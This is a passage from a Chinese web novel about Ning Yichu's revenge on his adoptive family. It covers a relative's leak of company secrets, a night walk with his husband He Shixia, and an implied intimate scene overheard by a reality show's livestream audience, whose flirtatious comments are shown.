而宁则棋剪辑去掉和保留的部分,几乎和宁则书是反着来的,主要内容只留了宁则书承认他利用宁衣初对宁家的报复心理那部分。 宁衣初听完看完,对这两兄弟的想法是一致的——莫名其妙,恶心至极。 不过,感谢他们兄友弟恭多年后如今突如其来的内讧,倒是让宁衣初也解了点惑,好歹知道宁则书到底怎么回事了,还有宁则棋当初把他送到贺适瑕房间的原因,宁衣初本来是想下了节目再去找他对峙的,现在倒是提前弄清楚了。 ……这原因实在让人反胃。 这兄弟俩都在对话时偷录,还都选择了剪辑后发给宁衣初,当然也有可能是他们合伙自导自演,但宁衣初揣度了下,觉得应该不是做戏给他看,因为这样的对话完全达不到任何做戏效果。 宁则书和宁则棋就像是,都希望宁衣初知道对方有多恶心。 宁衣初觉得,这么恶心的事不能只反胃他一个,于是特意把贺适瑕叫进了浴室,播放给他欣赏。 贺适瑕听得倍感糟心:“宁家这些人……真的没有遗传性的家族精神病吗?” 见贺适瑕心情不舒坦了,宁衣初反倒开心了点,他愉快道:“你没听到重点,我亲爱的养父养母打算把康宁的股份给我呢,真是太疼我了……我说的吧,会让他们乖乖主动给我的。” 贺适瑕随着宁衣初的笑,也舒展了眉眼。 他忍不住抬手,摸了摸宁衣初的脸颊,被宁衣初一巴掌拍开,才老实道:“阿宁很厉害……心情这么好的话,今晚要用‘模型’吗?我帮你啊。” 第50章 第 50 章 继续解宁衣初的睡衣纽扣…… 宁衣初觉得贺适瑕不怀好意, 把他推开了:“谁允许你安排我了?让开。” 贺适瑕只好遗憾作罢。 宁家那边,宁绍仁虽然动了把康宁董事会那百分之五的股份给宁衣初、换取他息事宁人的念头——反正那股份压在董事会也落不到宁家其他人手里,事到如今给了宁衣初说不定还能发挥点作用, 且传播出去怎么也能挽回点宁家虐待宁衣初的口碑吧? 话虽如此, 宁绍仁也是这么对宁则棋宁则书说的, 但毕竟是百分之五的康宁股份,宁绍仁还是有些犹豫, 就想着再拖几天,反正宁衣初还在录节目也不可能回来签协议。 然而就在第二天, 宁家又双叒叕出事了—— 陆溪拿不到已经成了执念的藏品, 干脆就把康宁的商业机密泄露给了作为竞争对手的同行酒店,作为报复。 宁老爷子瘫痪之后, 陆溪就见缝插针地在宁家找藏品,前两天宁老爷子没了, 宁家又乱成一团, 更是让陆溪去哪儿都堪称入无人之境。藏品虽然没找着,但她意外打开了宁老爷子的一个保险柜,从而发现了些康宁的商业秘密。 但泄漏商业机密给竞争对手,宁家肯定不会放过她, 所以陆溪是上了飞回谢菲尔德的国际航班、临起飞前才把邮件发出去的, 发完邮件就切换成飞行模式, 飞机起飞。 陆溪有意折磨所剩无几的宁家人, 所以不仅把商业机密泄漏了,还同时一起发了邮件给宁家人, 告诉他们商业机密泄漏这件事。 宁绍仁收到邮件后大惊失色,匆匆赶回宁家,进门就问:“陆溪人呢?!” 已经先一步回到宁家的韩文华神色严峻地回答了他:“我刚问过, 陆溪今天早上出门去了,到现在都没回来,电话也打不通,但她房间里的台式电脑桌面上打开了一张航班信息截图,我搜了下确定飞机已经起飞了,是A市直飞谢菲尔德的,她应该是跑路回陆家去了,还故意把航班信息放在电脑桌面上嘲笑我们!” 宁绍仁难以置信:“她真走了?家里佣人都瞎吗!看着她走都不通知我们!” 佣人在旁辩解道:“太太出门没带行李,就挎了个小包,除了没要家里的司机开车送她之外,那样子和平时出门逛街差不多,而且小少爷都还在家呢,我们也没想到太太是出国了……” 闻言,宁绍仁咬牙切齿:“呵,倒是准备得很好!连绍智这个亲儿子都没要,果然是个没良心的!我们宁家怎么净花钱养些白眼狼!” 韩文华皱着眉:“她泄露出去那些机密……她是怎么知道的?” 宁绍仁一震,完全没往陆溪自己也能在宁家翻找这方面想,斩钉截铁道:“又是宁衣初!肯定是他给陆溪出的主意!他就这么见不得我们宁家消停!敢泄漏商业机密,这是经济犯罪,我要报警抓他!” 韩文华翻了个白眼:“怎么抓?你有证据吗?直接泄密的是陆溪,现在她人跑国外去了,国外有她的本家,你还指望她在国外混不下去了自己灰溜溜跑回来让你报警抓吗?” 宁绍仁顿时偃旗息鼓。 竞争对手拿到了康宁的商业机密已成事实,虽然一天两天还看不出问题,但迟早会爆发出来,康宁再受重创已是必然,董事会如果再知道了这件事又是他们宁家人内讧干出来的,那宁绍仁又得被集体会议问责一顿。 宁绍仁垂头丧气坐下来:“我真是……我现在居然都有点怕了宁衣初了,早知道当年就不该把他带回来,后来也不该觉得留下他好处更大,早跟他划清关系多好……” 韩文华也想叹气:“还不是都怪你和你爸,我当初就说了,还是好好对他,他长大了才能对宁家有感情,但你和你爸觉得装慈祥太麻烦了,非说把他打压得没自己的脑子、只知道服从宁家也行,结果现在好了,既没让他对宁家有感情,也没把他性子整服,两边都没落着好。” “你还好意思说!你当年不也嫌装着累人吗,说给他做饭,结果开罐燕窝回来都喊累,好意思说我和我爸,我爸都死了,可让他安息点吧!”宁绍仁回击道。 韩文华才懒得装孝顺媳妇了:“可多亏了你爸了,死了都还留下个陆溪给宁家送了份大礼,为老不尊就算了,连个说好的藏品都是骗人家的,好了吧,人家报复了吧!再这样下去,你死的时候康宁可能就剩个空架子了吧!” 这夫妻俩又开始吵吵,吵完了,这天晚上宁绍仁就盯着节目直播,看到宁衣初和贺适瑕要回住处了,便给宁衣初发了信息,承诺等他节目录完回来就把董事会那百分之五的股份给他,希望他接下来不要再迫不及待针对宁家持续搞事情了。 陆溪泄漏商业机密这件事,还真和宁衣初半点关系都没有,他甚至不知道宁老爷子贼到压根给不出那个藏品了。 但宁衣初提前安排的人里,有个是宁家的老佣人——也是过去那些年在宁家人眼皮子底下,难得敢偶尔偷偷帮他一把的人,虽然老佣人过去能做的也不多,但对宁衣初而言记忆犹新。 这次宁衣初请对方帮忙听着宁家人的动向,也不用特意偷听,就正常工作情况下听到了看到了什么特别的事,告诉他一声,老佣人答应了。 今天白天宁绍仁和韩文华在宁家对话时,并没有避着人,所以老佣人都听到了,也就及时发给了宁衣初。 本来因为昨天宁则棋和宁则书兄弟俩发来的消息,宁衣初就已经知道了宁绍仁打算把康宁的百分之五股份给他,再知道了陆溪泄漏商业机密后跑回谢菲尔德的事,宁衣初对宁绍仁今天就给他发消息的行为便更不觉得意外了。 倒是宁绍仁和韩文华后面那段对话…… 宁衣初眨了眨眼。 所以,宁绍仁和韩文华的确是从一开始,把他带回宁家之初,宁则书还没消息之前,就已经知道他的身世了,他们甚至原本还想装慈爱…… 他们必定是知道他的亲生父母是谁,想要“扣押”着他以期从中获益,但对着“投资品”装慈爱实在太为难他们,所以他们选择了释放本性、带动宁家全家对“投资品”进行打压,想让他宁衣初变得没有主见、即便将来被亲生父母找到也只会听宁家的话为宁家谋利。 不过,即便如此宁衣初还是有点想不通,虽然他亲生父母那边的财力权势是比宁家可观一点,但值得宁绍仁他们这么“深谋远虑”十几年吗?而且他们是怎么知道他亲生父母身份的? 这件事确实困惑到了宁衣初,让他这天晚上在梦里都在回忆原书剧情里的细节。 与此同时,宁家那些人的丑恶嘴脸也一直在脑海中浮现,宁衣初被恶心醒了,忍不住趴在床边干呕。 贺适瑕被动静惊醒,下意识来到床边,轻轻拍着宁衣初的背,落后一步的脑子才跟过来,他担心道:“阿宁,我叫医生过来给你看看?” 宁衣初拂开贺适瑕的手,声音有些虚弱:“不用。” 然后他撑着床沿起身,没有去浴室换下睡衣,只穿上了放在一边的外套,就这样往外走去。 贺适瑕愣了愣,连忙跟上:“阿宁,你要去哪儿,想喝水吗,我去帮你倒就好……” 宁衣初这会儿不想说话,就没理他,径直往外走。 值夜的工作人员们在嘉宾们的住处外面都有搭帐篷,见有动静,便打算扛着机器跟上,宁衣初对他们摆了摆手:“劳驾别跟,我只是想散散心,你们歇着吧。” 贺适瑕眼疾手快捞了瓶矿泉水带上,然后跟上宁衣初,也对有些踌躇的工作人员道:“算了吧,直播也不差这一会儿,我们会注意安全的,尽快回来。” 工作人员请示了导演,最终没有跟上去。 凌晨时分,荒岛上周遭漆黑,只有月光照着路,宁衣初垂首盯着那微弱的光芒,倒没有因为心情不佳就胡乱落脚,他踩着光线,温吞吞地朝海浪声的方向去。 贺适瑕紧跟在他身后,随时准备着万一宁衣初摔倒他就上前去当垫子。 就这么一路来到海边,贺适瑕跟着宁衣初走到能踩到海水的地方,见宁衣初还要往前走,贺适瑕才伸手拉住了他:“阿宁……” 宁衣初站定,看着远方在夜色下反倒格外波光粼粼的海天一线,笑了声:“想踩踩水而已,没打算自杀,没那么有病……你带了水?给我喝一口。” 贺适瑕拧开矿泉水瓶盖,把水递给宁衣初。他看着宁衣初喝水,神色间还是不怎么放松。 宁衣初喝了水,扫了贺适瑕的表情一眼,然后往后退了几步,在海水沾不到的沙滩上坐了下来,又不疾不徐喝了几口水。 贺适瑕这才放松了点,坐到宁衣初身边。 宁衣初把矿泉水瓶递给贺适瑕,贺适瑕自己先接着喝了两口,才拧上瓶盖。 宁衣初蹙了蹙眉,故意找茬:“你喝了,我待会儿还想喝怎么办?” 贺适瑕失笑:“那就先倒一点出来把瓶口洗干净?” 宁衣初不理他了,回过头继续看着远处的海面。 贺适瑕想了想,抬手轻轻摸了摸宁衣初的头发:“阿宁,是做噩梦了吗?” 宁衣初烦他动手动脚,但又懒得抬手去挡,索性破罐子破摔道:“你在梦里骚扰我,算不算噩梦?” 闻言,贺适瑕语气还挺惊喜:“你梦到我了?” 宁衣初:“……你好烦。” 贺适瑕从善如流道:“抱歉。” 过了会儿,宁衣初才又轻声开口:“梦到了宁家人,很恶心。” 贺适瑕也放轻了声音:“他们现在和家破人亡也差不多了,除了你特意留下的宁绍仁一家,你是想节目结束后自己亲眼看着处理吧?” 宁衣初现在有些疲惫,也就没再故意呛声:“嗯,也还有些疑惑的事想要搞清楚。宁家人身上的把柄都挺多,其实不难对付,所以这辈子这么快就处理掉了大部分人……可是我上辈子,可以说就是被这些不难对付的烂泥毁掉的,这么说起来,到底是谁更没用呢?” 贺适瑕轻轻握住宁衣初的手。 凌晨出来,又在海边吹了风,宁衣初的手有些凉。 “是我没用。”贺适瑕道,“上辈子没尽到照顾好你的责任,这辈子也没帮上你什么,都是你自己在忙前忙后。宁家那些虽然是烂泥,但其实要逐个打破并不容易,你费了很多精力,现在尘埃落定,就差最后一点了,你觉得心情复杂得有些沉重,是很正常的。” 宁衣初偏头看着贺适瑕,突然想起来:“对了,贺定邦他们那些人,被赶出贺家之后怎么样了?” 之前贺适瑕说贺定邦由他来处理、他不会让贺定邦离开贺家后的日子好过,宁衣初这段时间在节目上又还忙着对付宁家人,倒是差点把贺定邦给忘了。 贺适瑕有注意着这方面的情况,只是没什么特别的事,之前宁衣初没问,他也就没特意提起这个扫兴的人,现在宁衣初问了,他便回道:“前祖父被扫地出门,是净身出户,这么大把年纪了无处可去,虽然看不上贺定邦这个儿子,但还是赖着他。” 听到“前祖父”这个称呼,宁衣初笑了声。 贺适瑕也笑了笑,继续慢条斯理道:“但贺定邦本身也靠不住,没钱没工作,不耐烦毁了他好日子的亲爹但也甩不掉,只能和亲爹一起缠上了二儿子贺如松。” “他们倒是想过找大女儿,还去过她的画廊,但贺如雪挺珍惜来之不易留在贺家的机会,祖母此前提醒过她不许再和贺定邦他们有来往,贺如雪自然躲着他们。她的画廊保安也不是吃素的,前祖父和贺定邦讨不着好,只能退而求其次缠上了相对好找到人的贺如松。” “倒不是我想帮贺家家风说话,但就事论事来说,贺定邦这些子女们毕竟是祖母看着长大的,祖母当时觉得大儿子养歪了,所以对大儿子带回家的私生子女们要求更为严格,也不让他们在家吃闲饭,都让他们有自己的事业在做,他们还是比宁家那些‘群贤’稍微上得了台面一点,创业之初虽然离不开贺家的支持,但基本也都能靠自己的能力走上正轨,没到离开了贺家就马上得倒闭的地步。” “当然,这些都是表面上看到的,也不排除他们私下里作奸犯科没被挖出来。” “总之,贺如松靠着经营得还不错的酒吧,确实养得起贺定邦父子俩,但贺如松不想养,尤其是如果只有他一个人养,他更不愿意了。我也承诺过你,不会让贺定邦有好日子过,所以找了人接近他,怂恿他喝多了在贺如松的酒吧里闹事,贺如松本来就不耐烦,终于找到说辞把前祖父和贺定邦赶出了门。” 然后秦凯和贺定邦决定去找三儿子贺如林,但贺定邦这个从前只顾自己玩的亲爹压根不知道贺如林的公司大门朝哪开,还是秦凯想了起来。 但公司大门不如酒吧大门好进,贺如林故意躲着他们,秦凯年纪大了、贺定邦也老大不小且完全吃不了苦,父子俩没那守株待兔的心力。 接着又在网上看到贺如林因为宁衣初高考志愿的事挨骂、公司遭到攻击,秦凯和贺定邦觉得贺如林大概也靠不住,跟着他说不定还要被牵连、回头被宁衣初再针对上,于是就决定不找贺如林了,找四女儿贺如月吧! 贺如月有自己的设计工作室,而这个工作室的人经常全员全国乃至全球地到处飞,办公室里压根看不到保安保洁之外的人影,秦凯和贺定邦再度铩羽而归。 接着是五女儿贺如风,她运气不好又没有上面的哥哥姐姐狠心,被不事生产刚成年的贺如竹缠上了,看到秦凯和贺定邦,也当没看到他们一身狼狈,反催着他们赶紧把贺如竹领走,说给儿子大学学费生活费是亲爹的事。 秦凯和贺定邦本来寻思着这个女儿心软,那太好了!养老有保障了! 然而没等贺如风说话赶人,贺如竹先坐不住了,连忙催着祖父和亲爹赶紧走,生怕贺如风真的连带着他一起赶走,他可是好不容易才赖上贺如风的,怎么能让人来抢饭票?贺如风又不是傻的,再心软也有限,还能忍受自己一个人养祖孙三人不成。 秦凯和贺定邦就这么骂着不肖子孙,被撵了一路,这期间行李里能换钱的东西也都换了个彻底,没人接手他们的吃穿,他们已经在前两天捏着鼻子从酒店搬到了小巷宾馆里。 “估计要不了几天,两人就该睡大街了。”贺适瑕说道,“流落街头,晚年不保,阿宁你觉得这样可以吗?” 宁衣初笑了下:“按上辈子的发展,你前祖父就算锦衣玉食也没几年可活了,这辈子只怕走得更早,届时就剩贺定邦一个人流浪,可真是太凄惨了,对吧?不过他热爱自由一辈子,晚年也这么自由,也算是有始有终了。” “我会让人一直盯着他,保证他一直这么‘自由’下去的。”贺适瑕说。 宁衣初想了想:“可你那些前堂兄弟姐妹们,虽然被赶出了贺家,他们自己心里可能一辈子都过不去,但外人看起来他们日子过得还是挺好的,我这心里就有点过不去了,你大堂姐也还好好在贺家呢……不过看在他们并没有像宁家对我那么过分的份上,我就再送他们最后一份礼,然后只要他们别再来烦我,就到此为止吧。” 贺适瑕轻笑,颔首询问:“可以让我帮你送吗?” 宁衣初愉快道:“行啊,反正我找人都找烦了。他们都是贺定邦带回贺家的私生子女,想必对自己的生母都很好奇,我把他们各自生母的信息回头都发给你,你找到她们,把她们跟贺定邦的孩子的情况发给她们。我猜啊,她们会很愿意来寻亲的。” “都三十左右的人了,突然冒出个亲生母亲,我很好奇你那些堂兄弟姐妹们的反应……” “他们的生母各有不同,但有个相同点是特别爱钱、欺软怕硬,早年贺定邦就是想要孩子,等她们生下孩子就威逼利诱让她们不许再出现,她们拿了钱、又惧怕贺定邦作为贺家长子的势力,真就几十年没有过异动——虽然这个贺家长子压根没什么势力,但她们又不知道——从这方面来说,贺定邦看人眼光还挺准,算是他这辈子为数不多的优点了。” 说完了这部分,宁衣初接着梳理道:“这样一来,宁家还剩下宁绍仁、韩文华、宁则棋和宁则书,贺家还剩下你爸妈和你……还有我肚子里这个孩子。都处理好了,我就可以开始这辈子的新生活了。” 对此,贺适瑕仍然面色不变,他轻嗯了声:“那……我提前祝你新生快乐?” 宁衣初突然被他逗乐了,然后伸手从他那边拿过水,说了这么多话,他都渴了。 喝了几口,宁衣初才想起来,刚才贺适瑕也喝过这瓶水。 不过反正喝都喝了,宁衣初也懒得矫情。 他拧好瓶盖,然后对贺适瑕伸手:“懒得走了,背我回去。” 贺适瑕笑道:“我的荣幸……抱你可以吗,我想看到你的脸。” 宁衣初挑了下眉:“怎么,看不到脸会觉得背上背了个鬼,害怕啊?” 贺适瑕从善如流地点头:“深更半夜,荒郊野外,是挺害怕的,阿宁就纵容纵容我?” 宁衣初懒得跟他纠缠:“你要是看不到路把我摔了,我就提前处理掉你。” 闻言,贺适瑕忍俊不禁,将宁衣初打横抱了起来,慢慢往回走。 终于看到贺适瑕和宁衣初回来了,值夜的工作人员才松了口气。 贺适瑕和上次一样,直接把宁衣初抱回了卧室,然后放到了床上。 接着他顿了顿,意识到一个问题:“……抱歉,忘记刚才坐在地上过,裤子应该脏了,该先换的。阿宁,我……” 宁衣初搂着贺适瑕脖颈的手突然往下压了压,然后他不甚熟稔地咬上了贺适瑕的唇, 贺适瑕这下彻底愣住了,声音都卡在了喉咙里。 宁衣初看着贺适瑕的脸,轻轻眨了下眼。 虽然理智上觉得不该继续下去,但宁衣初现在莫名很有兴致。 所以他对贺适瑕笑了下:“你如果再说扫兴的话,我咬死你。” 宁衣初的脸近在咫尺,贺适瑕好不容易才移开眼,狼狈地看向放着装有“模型”那个盒子的衣柜:“我帮你拿……” 宁衣初牙齿向下,咬在了贺适瑕的脖颈上。 贺适瑕喉间轻滚,然后垂首吻住了宁衣初的唇,把那些伪君子的扫兴话全部抛诸脑后。 “嘘——你呼吸声太重了,会被听到。”宁衣初喘着气看了眼角落的镜头。 贺适瑕也看过去,确定镜头还是被遮挡得好好的,才继续解宁衣初的睡衣纽扣。《 》 50-55 第51章 第 51 章 “反正下了节目就离婚。…… 凌晨三点, 直播间的观众原本不多,除了利益相关必须时刻关注和反正熬夜有多余设备所以顺带开着直播间的人之外,就算是真爱粉也少有乐意盯着漆黑一片、正主都关灯睡觉了的直播间认真看的。 但刚才宁衣初突然起床要出门散心, 贺适瑕跟着他, 两人还脱离了节目的直播状态, 这个消息小小传播开,倒是让还没睡、不过本来没有实时看直播间的一部分观众再度打开了直播间, 出于好奇想等宁衣初他们回来,看看能不能在“第一线”吃到新八卦。 这会儿终于看到贺适瑕抱着宁衣初回来了, 观众们就“出去的时候是各走各的, 回来是抱回来的”嗑了几口,然后切到卧室的直播线路, 确定里面还是视线被遮挡的,那就没什么可看了, 有的观众都打算退出直播间睡觉去了, 没想到听到贺适瑕正常说话的声音戛然而止。 然后是宁衣初轻飘飘的一句“你如果再说扫兴的话,我咬死你”……这话的信息量就有点大了。 本来准备离开的观众连忙收回了差点点下退出的手指,有的手快一点已经退出去了,脑子才反应过来刚才耳朵听到了什么, 于是连忙又回来, 正好接着听到贺适瑕没头没尾的一句“我帮你拿”, 然后话没说完就也戛然而止了。 接着是有些暧昧不清的琐碎声息, 毕竟和正常说话音量不一样,听不太清, 反倒更让观众遐想—— 【我靠靠靠靠什么情况!是我熬夜熬多了人心黄黄了吗!】 【他俩现在是在接吻吧,这个声音有点太暧昧了哦】 【什么什么!要进入真正的深夜栏目了吗!】 【啊?这个我们真的可以听吗?】 【生气,节目组这个收音也太差了吧, 我都把音量放到最大了还是听不清呜呜呜】 【嘘嘘嘘——我感觉他俩喘气的声音好像都变重了——绝对是在接吻!而且听这动静,不只是单纯接个吻的意思!】 【阿宁刚才还警告贺影帝不要扫兴,嗯……】 【嗯?是不是东西掉在地板上了?】 【阿宁刚才穿了件外套的吧,我记得好像有金属拉链,听起来很有可能是拉链头磕到地板了】 【这个时候镜头你就该懂点事啊啊啊!把挡在你眼睛上的布抖开好吗!让我看一眼,我就看一眼()】 【停……阿宁好像说话了是不是,有点听不清啊,主要是气息声有点太干扰了】 【说了说了我听清了!嫂子嫌贺哥呼吸声太重,说会被听到,然后贺哥呼吸声就好像真的轻了点】 【不要这样小气嘛阿宁,我们也就听点声了】 【我靠好刺激啊所以他俩真的在……嗯哼吗?】 【我还是觉得肯定是我熬夜熬出幻觉了】 【好激动人心啊我操,所以他俩还记得在直播呢,但就是克制不住是吧,我懂我懂,我现在也很克制不住我嘴角的笑容】 【我靠我明天还上班呢放我去睡觉——】 【没事我是大学生,我可以早八课上补觉(bushi】 【我真觉得我出现幻觉了,我熬夜给他俩写同人文呢,刚开上车就被同担叫我来听现场,现在我怀疑我是神笔马良转世,写出来的文字会变成现实……】 【求求了让我们看一眼吧,这挡镜头的布怎么可以这么严实!】 【唔,阿宁的声音好像都有点变了,合理怀疑他们进入下一阶段了嘿嘿嘿(擦口水)】 【镜头还是好好挡着吧,突然觉得听声音也很国宴了,真让我们看现场直播我怕直播间直接被封了,就连声音都没得听了(安详)】 【有道理……】 【天啊这就是我晚睡的福利吗,吃得好像有点太好了】 【圆满了,听正主现场直播做给我听】 【嗷,他们是不是在互相叫名字——】 【感谢贺宁的馈赠^o^】 【大家小点声,我们偷偷听,别再叫新的人进来直播间了,人少节目组还睁一只眼闭一只眼,反正嘉宾自己都无所谓被直播听到,但人多了节目组肯定还是不方便当不知情,到时候把直播间关了就得不偿失了呜呜呜】 【哎呀我操,这大半夜的弄得我吃了兴奋剂似的】 【成年人就该听这个才有力气好好生活啊嘿嘿嘿】 【我猜啊,过程应该是这样的,阿宁做噩梦了心情不好,所以半夜出门散心,贺适瑕把他哄着抱回来了,但阿宁还是想发泄,而众所周知性也是发泄的一种,于是就成现在这样了嘿嘿】 【咳,我还以为前面的朋友是要讲解他俩嗯哼的过程呢,白兴奋了】 【阿宁喘得我好激动啊,贺哥你吃得真好^-^】 【好像都有点泣音了,啧啧啧,贺哥你要不要怜香惜玉一点】 【想听阿宁受不了了然后哭着骂贺影帝不做人()】 【虽然可能性不大但“求你了我不行了”也想听~~】 【哈哈哈哈哈还点上单了】 【啧,话说他们应该没有准备套子哦?刚才也没听到撕开包装袋的声音】 【哇哦~有人一起看就是好,能品到更多细节斯哈斯哈】 【我突然反应过来!阿宁最开始说的是‘你如果再说扫兴的话’……是不是意味着之前阿宁也有过想拉着贺适瑕发泄但贺适瑕觉得时机有点趁人之危什么的所以说了扫兴的话结果就没做成?】 【靠,贺影帝你身在福中不知福啊】 【不不不就是这样才好嗑啊(幸福脸)】 宁衣初最开始还能想起来镜头收音的存在,但渐渐的就顾不上了,偶尔还想骂贺适瑕,贺适瑕怕他事后回想起来会羞愤,所以一直亲他,也把他想要出口的话全堵了回去,没让可能在听直播的观众听见。 宁衣初只好断断续续地咬贺适瑕的唇。 【虽然正主这无门槛国宴是很大方,本来宾也吃得很开心,但还是有个问题想问……他俩天亮之后真的不会尴尬吗?想到还在直播什么的:D】 【反正也没什么在意的人了吧,阿宁谁都不在乎,贺哥看着除了阿宁之外谁都不在乎(摊手)】 【冒昧问一下会内设吗(尊重直播间健康环境(o^^o)】 【内……宝儿有点太冒昧了】 【虽然这里现在没有人能回答这个问题,但没关系,让我们听下去,听完了就能知道答案了(擦嘴)】 【肉薄骨并,天籁之音,不绝于耳,嘿嘿嘿嘿】 宁衣初本来就体质虚弱,平时多走会儿路都嫌累,这会儿更是累得犯困,最后眼睛都睁不开了,但贺适瑕怕他身上不舒服、就这么睡觉会生病,所以还是抱他到浴室里打开了花洒。 宁衣初站不稳,这浴室里又没有浴缸可以躺,只能整个人都靠在贺适瑕身上,全依赖着贺适瑕搂着他的胳膊上的力道。 贺适瑕垂首看着他泛红的眼尾,忍不住亲了又亲,宁衣初嫌他烦,但又实在没力气开口骂,索性当没感觉了。 从浴室里出来,贺适瑕先把宁衣初放到了他睡的地铺上,然后收拾了床铺,再把宁衣初抱回床上。 这回贺适瑕“得寸进尺”,也一起躺在了床上,他把宁衣初搂在怀里,还是忍不住亲着宁衣初的额头、脸颊和脖颈,还有早就被亲得水光潋滟泛着红的唇。 宁衣初本来犯困,但活生生被他这“事后温存”的作派肉麻得睡不着了。 “……你这样搞得好像我们很恩爱一样,好麻烦。”宁衣初好不容易攒了点力气,温吞吞地咕哝开口,“不就做了一次吗,又不影响我们下了节目就离婚……你态度再温柔,我也不会违心夸你技术好的,你就是特别差劲……” 贺适瑕忍俊不禁,又亲了亲宁衣初的唇,然后轻声应和:“嗯,我的错。睡吧,阿宁,我不吵你了。” 宁衣初疲倦得发懵,说话时忘记了镜头收音的存在,贺适瑕顾着听他的声音,这一刻也没想起来有问题。 其实宁衣初声音不大,但麻烦在这会儿屋子里太安静,不像之前好歹还有彼此的声息和动作声音干扰,总之还守在直播间里的观众把宁衣初的话全听见了。 【阿宁的声音难得这么软啊嘿嘿嘿】 【贺哥在做什么呢被阿宁这样说】 【贺适瑕:我技术特别差劲吗?我不信】 【哎哟我操,这种事后私房话都能听到,同人女此生圆满】 【等等等等有个关键问题……】 【阿宁应该只是嘴上不服吧,如果贺影帝技术真的很差,让他不舒服的话,他应该不会让贺影帝碰?】 【啧,没想到有朝一日还能听到正主亲口说“不就是做了一次吗”,好激动人心的时刻啊,没看到这场直播的亏大了】 【我……靠……阿宁刚才说什么?他们下了节目就离婚?】 【嗯?!有说这个吗?】 【我的个天有说啊!我也刚反应过来,刚才脑子里全是嗑糖就给选择性忽视了!】 【啊啊啊啊虽然知道阿宁对贺影帝没感情但我看来也不是真没感情吧怎么这么快就要走到离婚的地步了!】 【贺适瑕还没否认……】 【下了节目就离婚,应该是上节目之前就定好了这件事的意思吧,贺影帝你的追妻路就要这么嘎嘣停止了吗】 【别唱衰啊,说不定经过节目期间的相处,阿宁决定不离了呢?就算离了也可以复婚嘛,贺哥冲啊!相信你!你看阿宁都愿意跟你上床哎,你很有希望的!】 【咦,他俩今晚是都睡在床上了吗?】 【我将保留今晚的录音作为传家宝[享受]】 宁衣初睡了过去,贺适瑕还神经中枢颇为兴奋、睡不着,本来想把宁衣初的睡颜当安眠药,结果越看越清醒,但又不敢再亲、怕吵醒了宁衣初。 直到天明时分,贺适瑕抬头看了眼,才陡然想起来镜头的事……宁衣初昨晚说他们要离婚的话,如果当时直播间里还有观众的话,很可能听到了。 虽然他并不想让人知道这件事,不过倒也问题不大,相比之下还是“宁衣初事后的声音被人听见了”,比较让贺适瑕不爽,有一种宁衣初被人占了便宜的感觉。 贺适瑕想了想,动作幅度轻微地下了床,找到手机,然后给导演发了信息,也没多解释,反正就说今天他和宁衣初要休息、不参与录制了,明天会继续正常录节目,稍后他也会让经纪人跟节目组联系,就耽误了录制的违约行为进行商谈赔偿,但总之今天麻烦除了送饭之外不要打扰。 至于观众们会怎么看、会不会被人抓住机会骂他们消极怠工耍大牌,贺适瑕不在乎,他想宁衣初应该更不在乎。 凌晨太劳累,贺适瑕希望宁衣初能好好休息,也怕他再生病。 好在,直到这天临近中午,宁衣初睡醒睁开眼,他都没有发烧生病的迹象。 坐起身后,宁衣初放空了会儿,然后觉得自己凌晨走失的理智终于在此刻回笼,他动了动还是泛酸的身体,看到面前的贺适瑕就恼羞成怒了:“你为什么不拦着我?” 说了话,宁衣初顿了顿,因为意识到自己声音还有点发哑,而且接吻太多让他唇上也有点轻微泛疼,以及他看到了贺适瑕带笑的唇上有明显的咬伤,俨然就是在提醒别人他们做过什么的意思…… 宁衣初是不在乎别人对他品性的看法,但床上的事有点过于隐私了,他还是挺在乎自己的隐私问题,可以的话并不想看到别人对他这方面的事津津乐道。 但凌晨那会儿冲动的决定也是自己做的,当时其实也不是没想到直播的状况,只是宁衣初也说不上来那个时间点到底怎么想的,居然就放任自己了。 总之,现在为了不气着自己,宁衣初决定迁怒给贺适瑕。 贺适瑕笑着全盘接锅:“对不起,我错了,都怪我把你带坏了。” 他态度诚恳,宁衣初默了默,反倒有点不自在起来。 别开眼不看贺适瑕,宁衣初若无其事接着问:“什么时间了?” 贺适瑕温声说:“十一点半了,我已经跟导演说过了,今天我们俩不录节目。正好刚才节目组送了午饭来,我去给你端进来吧?” 这次宁衣初没有说自己要出去吃,他闷闷地嗯了声,暂时并不想出现在观众的视野里。 宁衣初这想要掩耳盗铃的模样让贺适瑕更加忍俊不禁,他克制不住,附身又亲了亲宁衣初的唇:“阿宁,没事的。” 贺适瑕说这话时,几乎是直接贴着宁衣初的唇,宁衣初索性张嘴又咬了他一口,然后往后撤了撤,警告吃痛了还在笑的贺适瑕:“你别得寸进尺!跟我保持之前的距离!” 贺适瑕笑道:“好,抱歉,阿宁别生气。” 贺适瑕出去端饭菜了,宁衣初坐在床上又呆了会儿,然后忍不住轻叹:“这干的什么蠢事……” 【不蠢不蠢,阿宁别害羞哈哈哈哈】 【是恼羞成怒了吧好可爱】 【我就知道这件事事后醒了不可能温情脉脉就过去了哈哈哈哈】 【好奇,贺哥刚才又做什么了,让阿宁警告他别得寸进尺?】 【不是动手动脚,就是动嘴了(嗯)】 【哎呀呀,上次阿宁因为生病醒晚了,吃饭的时候可是选择自己去厨房吃的,今天怎么赖在床上啊,是身体(特指某处)不舒服,还是脸皮薄不好意思啦?】 【阿宁暂时别上网了吧,主要是网友们现在都挺津津乐道的,我怕你看多了想把贺适瑕掐死,制造社会新闻覆盖娱乐头条嘿嘿】 【反正贺影帝看起来半点不觉得不好意思,不仅特别自在还心情格外好】 【嘴上那咬痕压根都不藏的,啧啧啧】 【理解一下,跟老婆上床了哎!多么美妙!】 【笑死我了,如果不是有直播在,还可以扯说是宁衣初凌晨出门散心那趟耽误了休息、所以今天想多睡一会儿,但现在众所周知他俩到底是什么原因耽误了录制节目了,简直是娱乐圈头一遭的新鲜哈哈哈哈哈】 【虽然也有人想搅浑水,但骂也骂不起来,谁让正主压根不在乎,关键是这“消极怠工”的原因实在太值得八卦了,整件事真的很有意思】 【反正cp粉爽翻了】 【谁懂啊,我有正主的床事音频哎!】 【好想看看阿宁现在是什么模样啊,也和贺哥一样嘴上有伤嘛!】 【我猜贺影帝应该不会舍得咬阿宁,但亲多了嘴也会肿的()】 【还是好在意他俩要离婚的事啊……】 【突然想到,这个节目一共就两对常驻嘉宾,结果都是打着下节目后要离婚这种想法的配偶……】 贺适瑕把饭菜端到了卧室里,放在床头柜上,宁衣初沉默地吃完,然后警告贺适瑕:“把你嘴角的笑收了,看着伤眼,还有,不许再提这件事。” 贺适瑕马上拉平嘴角,从善如流地颔首:“好……但我平时在你面前也是笑的,总不能以后都不让我笑了吧,阿宁?” 